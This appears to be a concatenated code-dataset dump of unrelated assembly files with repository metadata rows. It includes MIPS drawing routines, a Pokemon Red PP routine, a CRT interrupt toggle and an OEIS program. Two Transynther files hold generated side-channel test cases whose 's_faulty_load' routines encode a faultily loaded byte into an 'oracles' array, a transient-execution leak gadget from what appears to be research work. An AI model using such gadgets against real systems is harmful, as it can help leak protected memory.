sw $s0, 20($sp) # store $s0 before changing below
sw $s1, 24($sp) # store $s1 before changing below
sw $s5, 28($sp) # store $s1 before changing below
move $s1, $a3 # y-offset
li $s5, 0 # counter
circleLoop:
sw $a1, 4($sp) # store y-coord
sw $a2, 8($sp) # store color
sw $a0, 12($sp) # store x-coord
sw $a3, 16($sp) # store radius
la $t0, SquaresTable # load squares table address into $t0
li $t1, 1024 # set $t0 equal to fixed radius squared (32)^2
# determine the x-offset
sll $t2, $s1, 2 # multiply y-offset by 4 to get the proper offset below (stored as words)
add $t2, $t2, $t0 # set the SquareTable Pointer to the correct value
lw $t3, 0($t2) # set $t3 to the value of the square of the y-offset
sub $t3, $t1, $t3 # substract the square of the y-offset from the square of the radius
li $t4, 0 # counter for loop below, hold the (floor) value of the square root
la $t0, SquaresTable # load the address of the squares table to $t2
determineXPositonOffsetLoop:
lw $t2, 0($t0) # load the next square into $t2 for comparison below
bge $t2, $t3, setCoordinates
addi $t0, $t0, 4 # move the squares table to the next word
addi $t4, $t4, 1 # increment the counter
b determineXPositonOffsetLoop
setCoordinates:
move $t0, $t4 # x-coordinate offset
li $a3, 4 # if zero, make the line length four
subi $a0, $a0, 2 # proper offset for x-coord with 4 as length
beqz $t0, drawLine
addi $a0, $a0, 2 # correct the substraction from above for the zero case
sub $a0, $a0, $t0 # this is the x-coodinate start position
sll $a3, $t0, 1 # multiplying the offset by two gives the length of the line, in $a3
drawLine:
jal drawHorizontalOutline
lw $a1, 4($sp) # load y-coord
lw $a2, 8($sp) # load color
lw $a0, 12($sp) # load x-coord
lw $a3, 16($sp) # load radius
li $t9, -1 # we are first decrementing the y offset on each iteration as we haven't passed the (0,0) coordinate
blt $s5, $a3, stillTopOfCircle
li $t9, 1 # we are now incrementing the y offset on each iteration as we passed the (0,0) coordinate
stillTopOfCircle:
addi $a1, $a1, 1 # increment y-coordinate
add $s1, $s1, $t9 # increment/decrement y-offset
addi $s5, $s5, 1 # increment counter
sll $t2, $a3, 1 # multiply the radius by two to get the diameter for below comparison
ble $s5, $t2, circleLoop
lw $s0, 20($sp) # restore $s0 to its state before this method
lw $s1, 24($sp) # restore $s1 to its state before this method
lw $s5, 28($sp) # restore $s5 to its state before this method
lw $ra, 0($sp) # put the correct $ra back to get to this method's caller below
addi $sp, $sp, 32 # adjust $sp back to its original state
jr $ra
# draw a horizontal line of an arbitraty length to make a rectangle
# argument: $a0: x-coordinate, $a1: y-coordinate, $a2: color, $a3: rows of box
# return: none
drawBox:
subi $sp, $sp, 24 # make room for the saved items below
sw $ra, 0($sp) # store $ra
sw $s0, 20($sp) # store $s0 before changing below
move $s0, $a3 # set $s0 equal to $a3
boxLoop:
sw $a1, 4($sp) # store $a1
sw $a2, 8($sp) # store $a2
sw $a0, 12($sp) # store $a0
sw $a3, 16($sp) # store $a3
jal drawHorizontalLine
lw $a1, 4($sp) # load $a1
lw $a2, 8($sp) # load $a2
lw $a0, 12($sp) # load $a0
lw $a3, 16($sp) # load $a3
addi $a1, $a1, 1 # increment the y-coordinate
subi $s0, $s0, 1 # decrement box row count
bnez $s0, boxLoop
lw $s0, 20($sp) # restore $s0 to its state before this method
lw $ra, 0($sp) # put the correct $ra back to get to this method's caller below
addi $sp, $sp, 24 # adjust $sp back to its original state
jr $ra
# draw a horizontal line of an arbitrary length
# argument: $a0: x-coordinate, $a1: y-coordinate, $a2: color, $a3: length of line
# return: none
drawHorizontalLine:
subi $sp, $sp, 20 # make room for the saved items below
sw $ra, 0($sp) # store $ra
horzontalLineLoop:
sw $a1, 4($sp) # store $a1
sw $a2, 8($sp) # store $a2
sw $a0, 12($sp) # store $a0
sw $a3, 16($sp) # store $a3
jal drawDot
lw $a1, 4($sp) # load $a1
lw $a2, 8($sp) # load $a2
lw $a0, 12($sp) # load $a0
lw $a3, 16($sp) # load $a3
addi $a0, $a0, 1 # increment the x-coordinate
subi $a3, $a3, 1 # decrement the length of line number
bnez $a3, horzontalLineLoop
lw $ra, 0($sp) # put the correct $ra back to get to this method's caller below
addi $sp, $sp, 20 # adjust $sp back to its original state
jr $ra
# draw a horizontal outline of an arbitrary length (just the first and last dots have color)
# argument: $a0: x-coordinate, $a1: y-coordinate, $a2: color, $a3: length of line
# return: none
drawHorizontalOutline:
subi $sp, $sp, 24 # make room for the saved items below
sw $ra, 0($sp) # store $ra
sw $s0, 20($sp) # store $s0 befroe changing below
li $s0, 0 # used to tell if first iteration compeleted
horzontalOutlineLoop:
sw $a1, 4($sp) # store $a1
sw $a2, 8($sp) # store $a2
sw $a0, 12($sp) # store $a0
sw $a3, 16($sp) # store $a3
beqz $s0, drawThatDot # skip black color change on first iteration
blt $a3, 2, drawThatDot # skip black color change for final iterations
li $a2, '0' # use black color to match background for all not edge dots
drawThatDot:
jal drawDot
lw $a1, 4($sp) # load $a1
lw $a2, 8($sp) # load $a2
lw $a0, 12($sp) # load $a0
lw $a3, 16($sp) # load $a3
addi $a0, $a0, 1 # increment the x-coordinate
subi $a3, $a3, 1 # decrement the length of line number
li $s0, 1 # denotes first incrementation completeted
bnez $a3, horzontalOutlineLoop
lw $ra, 0($sp) # put the correct $ra back to get to this method's caller below
lw $s0, 20($sp) # restore $s0
addi $sp, $sp, 24 # adjust $sp back to its original state
jr $ra
# draw a vertical line of an arbitrary length
# argument: $a0: x-coordinate, $a1: y-coordinate, $a2: color, $a3: length of line
# return: none
drawVerticalLine:
subi $sp, $sp, 20 # make room for the saved items below
sw $ra, 0($sp) # store $ra
verticalLineLoop:
sw $a1, 4($sp) # store $a1
sw $a2, 8($sp) # store $a2
sw $a0, 12($sp) # store $a0
sw $a3, 16($sp) # store $a3
jal drawDot
lw $a1, 4($sp) # load $a1
lw $a2, 8($sp) # load $a2
lw $a0, 12($sp) # load $a0
lw $a3, 16($sp) # load $a3
addi $a1, $a1, 1 # increment the y-coordinate
subi $a3, $a3, 1 # decrement the length of line number
bnez $a3, verticalLineLoop
lw $ra, 0($sp) # put the correct $ra back to get to this method's caller below
addi $sp, $sp, 20 # adjust $sp back to its original state
jr $ra
# draw a sloped (1) line of 64 pixels
# argument: $a0: x-coordinate, $a1: y-coordinate, $a2: color, $a3: negative slope
# return: none
drawSlopedLine:
subi $sp, $sp, 24 # make room for the saved items below
sw $ra, 0($sp) # store $ra
li $t0, 62 # fixed length of line
slopedLineLoop:
sw $a1, 4($sp) # store $a1
sw $a2, 8($sp) # store $a2
sw $a0, 12($sp) # store $a0
sw $a3, 16($sp) # store $a3
sw $t0, 20($sp) # store $t0
jal drawDot
lw $a1, 4($sp) # load $a1
lw $a2, 8($sp) # load $a2
lw $a0, 12($sp) # load $a0
lw $a3, 16($sp) # load $a3
lw $t0, 20($sp) # load $t0
addi $a0, $a0, 1 # increment the x-coordinate
addi $a1, $a1, 1 # increment the y-coordinate
subi $t0, $t0, 1 # decrement the length of line number
beqz $a3, checkIfSlopedLineLoopsAgain
subi $a1, $a1, 2 # this is for negative slope, sub 2 because of the 1 added above
checkIfSlopedLineLoopsAgain:
bnez $t0, slopedLineLoop
lw $ra, 0($sp) # put the correct $ra back to get to this method's caller below
addi $sp, $sp, 24 # adjust $sp back to its original state
jr $ra
# draws a dot of the chosen at the location provided by the x and y coordinate
# argument: $a0: x-coordinate, $a1: y-coordinate, $a2: color
# return: none
drawDot:
subi $sp, $sp, 8 # make room for the saved items below
sw $ra, 4($sp) # store $ra
sw $a2, 0($sp) # store the chosen color
jal calculateAddress
lw $a2, 0($sp) # restore $a2
sw $v0, 0($sp) # save the pixel mem location for below
jal getColor
lw $v0, 0($sp) # restore $v0
sw $v1, 0($v0) # draw the dot
lw $ra, 4($sp) # put the correct $ra back to get to this method's caller below
addi $sp, $sp, 8 # adjust $sp back to its original state
jr $ra
# caclulates address of pixel based off y and x coordinates
# argument: $a0: x-coordinate, $a1: y-coordinate, $a2: color
# return: $v0: calculated memory address of pixel based on (x,y) Cartesian coordinates
calculateAddress:
move $v0, $s6 # set $v0 to the base address of display
sll $a0, $a0, 2 # multiply x coordinate by 4 to get proper column
sll $a1, $a1, 10 # multiply y coordinate by 256 to get the row and then by 4 (b/c stored as words)
add $a0, $a0, $a1 # add the two numbers to get the proper offset and store in $a1
add $v0, $v0, $a0 # add the offset to $v0, which already contained the base address of display
jr $ra
# return the color value in $v1 based on the argument
# argument: $a2: contains character B, G, R, Y or 0
# return: $v1: 32 bit color value
getColor:
la $t0, ColorTable # load base address of color table to $t0
colorTableLoop:
lw $t1, 0($t0) # load the next byte into $t1, this byte has the color character
beq $t1, $a2, loadColorValue
addi $t0, $t0, 8 # move 2 word up to get the next color character
b colorTableLoop
loadColorValue:
lw $v1, 4($t0) # place the whole word in $v1
jr $ra
| 29.208437
| 129
| 0.642794
|
b7c428f7511e7dcbbaa841a259ac772e0a74aaef
| 2,170
|
asm
|
Assembly
|
engine/battle/decrement_pp.asm
|
AmateurPanda92/pokemon-rby-dx
|
f7ba1cc50b22d93ed176571e074a52d73360da93
|
[
"MIT"
] | 9
|
2020-07-12T19:44:21.000Z
|
2022-03-03T23:32:40.000Z
|
engine/battle/decrement_pp.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 7
|
2020-07-16T10:48:52.000Z
|
2021-01-28T18:32:02.000Z
|
engine/battle/decrement_pp.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 2
|
2021-03-28T18:33:43.000Z
|
2021-05-06T13:12:09.000Z
|
DecrementPP:
; after using a move, decrement pp in battle and (if not transformed?) in party
ld a, [de]
cp STRUGGLE
ret z ; if the pokemon is using "struggle", there's nothing to do
; we don't decrement PP for "struggle"
ld hl, wPlayerBattleStatus1
ld a, [hli] ; load the wPlayerBattleStatus1 pokemon status flags and increment hl to load the
; wPlayerBattleStatus2 status flags later
and (1 << STORING_ENERGY) | (1 << THRASHING_ABOUT) | (1 << ATTACKING_MULTIPLE_TIMES)
ret nz ; if any of these statuses are true, don't decrement PP
bit USING_RAGE, [hl]
ret nz ; don't decrement PP either if Pokemon is using Rage
ld hl, wBattleMonPP ; PP of first move (in battle)
; decrement PP in the battle struct
call .DecrementPP
; decrement PP in the party struct
ld a, [wPlayerBattleStatus3]
bit TRANSFORMED, a
ret nz ; Return if transformed. Pokemon Red stores the "current pokemon's" PP
; separately from the "Pokemon in your party's" PP. This is
; duplication -- in all cases *other* than Pokemon with Transform.
; Normally, this means we have to go on and make the same
; modification to the "party's pokemon" PP that we made to the
; "current pokemon's" PP. But, if we're dealing with a Transformed
; Pokemon, it has separate PP for the move set that it copied from
; its opponent, which is *not* the same as its real PP as part of your
; party. So we return, and don't do that part.
ld hl, wPartyMon1PP ; PP of first move (in party)
ld a, [wPlayerMonNumber] ; which mon in party is active
ld bc, wPartyMon2 - wPartyMon1
call AddNTimes ; calculate address of the mon to modify
.DecrementPP:
ld a, [wPlayerMoveListIndex] ; which move (0, 1, 2, 3) did we use?
ld c, a
ld b, 0
add hl ,bc ; calculate the address in memory of the PP we need to decrement
; based on the move chosen.
dec [hl] ; Decrement PP
ret
| 49.318182
| 103
| 0.618433
|
c2835b149fc87330a5d9f528235c3fa9281381ac
| 5,714
|
asm
|
Assembly
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_250.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_250.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_250.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xc602, %r14
clflush (%r14)
nop
cmp $7565, %rsi
mov $0x6162636465666768, %rax
movq %rax, (%r14)
nop
nop
cmp %rcx, %rcx
lea addresses_WT_ht+0x19376, %rdi
clflush (%rdi)
and %r9, %r9
vmovups (%rdi), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %rsi
nop
nop
nop
nop
and $26889, %rsi
lea addresses_UC_ht+0x1e702, %rax
nop
nop
nop
cmp %r8, %r8
movw $0x6162, (%rax)
nop
nop
nop
add $37295, %rcx
lea addresses_UC_ht+0x1a702, %rsi
nop
nop
nop
nop
and $18589, %rax
mov (%rsi), %r14
nop
nop
nop
nop
nop
xor %r8, %r8
lea addresses_normal_ht+0x1f02, %r14
nop
sub $45440, %r9
vmovups (%r14), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %rax
nop
add $30432, %r14
lea addresses_WT_ht+0xb602, %rsi
lea addresses_UC_ht+0x59c2, %rdi
clflush (%rsi)
nop
nop
nop
nop
add %rbp, %rbp
mov $14, %rcx
rep movsl
nop
nop
nop
nop
add $24478, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %rax
push %rdx
push %rsi
// Load
lea addresses_US+0x41a, %r11
nop
nop
sub $39433, %r14
mov (%r11), %r15
nop
nop
nop
nop
add %rax, %rax
// Faulty Load
lea addresses_D+0x702, %r15
nop
inc %rsi
mov (%r15), %r12w
lea oracles, %rax
and $0xff, %r12
shlq $12, %r12
mov (%rax,%r12,1), %r12
pop %rsi
pop %rdx
pop %rax
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': True, 'type': 'addresses_UC_ht'}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 39.680556
| 2,999
| 0.657158
|
a90fc18ca2ebb145f1f100288b53ee524096d2a3
| 909
|
asm
|
Assembly
|
WRK-V1.2/TOOLS/crt/src/intel/enable.asm
|
intj-t/openvmsft
|
0d17fbce8607ab2b880be976c2e86d8cfc3e83bb
|
[
"Intel"
] | null | null | null |
WRK-V1.2/TOOLS/crt/src/intel/enable.asm
|
intj-t/openvmsft
|
0d17fbce8607ab2b880be976c2e86d8cfc3e83bb
|
[
"Intel"
] | null | null | null |
WRK-V1.2/TOOLS/crt/src/intel/enable.asm
|
intj-t/openvmsft
|
0d17fbce8607ab2b880be976c2e86d8cfc3e83bb
|
[
"Intel"
] | null | null | null |
page ,132
title enable - enable/disable interrupts
;***
;enable.asm - contains _enable() and _disable() routines
;
; Copyright (c) Microsoft Corporation. All rights reserved.
;
;Purpose:
;
;*******************************************************************************
.xlist
include cruntime.inc
.list
page
;***
;void _enable(void) - enables interrupts
;void _disable(void) - disables interrupts
;
;Purpose:
; The _enable() functions executes a "sti" instruction. The _disable()
; function executes a "cli" instruction.
;
;Entry:
;
;Exit:
;
;Uses:
;
;Exceptions:
;
;*******************************************************************************
CODESEG
public _enable, _disable
_enable proc
sti
ret
_enable endp
align 4
_disable proc
cli
ret
_disable endp
end
| 15.40678
| 80
| 0.488449
|
24251c3a803cff29cfec7a30ee01a939071f3c5a
| 467
|
asm
|
Assembly
|
programs/oeis/230/A230402.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/230/A230402.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/230/A230402.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A230402: Integer areas of orthic triangles of integer-sided triangles.
; 1512,2688,6048,10752,13608,24192,37800,43008,54432,67200,74088,96768,122472,131712,151200,172032,182952,217728,255528,268800,296352,325248,340200,387072,436968,454272,489888,526848,545832,604800,666792,688128,731808,776832
add $0,1
seq $0,267027 ; "Polyrhythmic sequence" P(3,4): numbers congruent to 1 mod 3 (A016777) or 1 mod 4 (A016813).
sub $0,1
pow $0,2
sub $0,9
mul $0,168
add $0,1512
| 42.454545
| 224
| 0.770878
|
6d1eea660d87d2a22bfe4725d4b3864107f6f677
| 5,062
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_833.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_833.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_833.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r8
push %rbx
push %rdx
push %rsi
// Store
lea addresses_normal+0xab0e, %rsi
clflush (%rsi)
nop
nop
nop
nop
nop
add $9236, %r11
mov $0x5152535455565758, %rdx
movq %rdx, (%rsi)
nop
add $22661, %rbx
// Store
lea addresses_WC+0x1d2b9, %r13
clflush (%r13)
xor $6271, %r11
mov $0x5152535455565758, %r14
movq %r14, %xmm0
movups %xmm0, (%r13)
xor $39352, %r14
// Store
lea addresses_D+0x74b3, %rbx
nop
nop
nop
add %rsi, %rsi
mov $0x5152535455565758, %rdx
movq %rdx, %xmm2
movups %xmm2, (%rbx)
nop
nop
nop
dec %rsi
// Store
lea addresses_A+0xbe99, %r14
nop
nop
nop
xor %rbx, %rbx
movl $0x51525354, (%r14)
nop
nop
nop
add $50907, %r14
// Load
lea addresses_RW+0x10759, %r13
and $11480, %r8
movups (%r13), %xmm6
vpextrq $0, %xmm6, %rbx
nop
nop
nop
add $21675, %r11
// Faulty Load
lea addresses_RW+0x10759, %rdx
nop
nop
nop
nop
nop
xor %rsi, %rsi
movb (%rdx), %r14b
lea oracles, %rbx
and $0xff, %r14
shlq $12, %r14
mov (%rbx,%r14,1), %r14
pop %rsi
pop %rdx
pop %rbx
pop %r8
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_RW', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC', 'congruent': 4}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_D', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 6}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_RW', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_RW', 'congruent': 0}}
<gen_prepare_buffer>
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 45.603604
| 2,999
| 0.656657
|
b84c84e4bdcdff9ded18a1f6c9dfd6e881229f5b
| 698
|
asm
|
Assembly
|
oeis/041/A041006.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
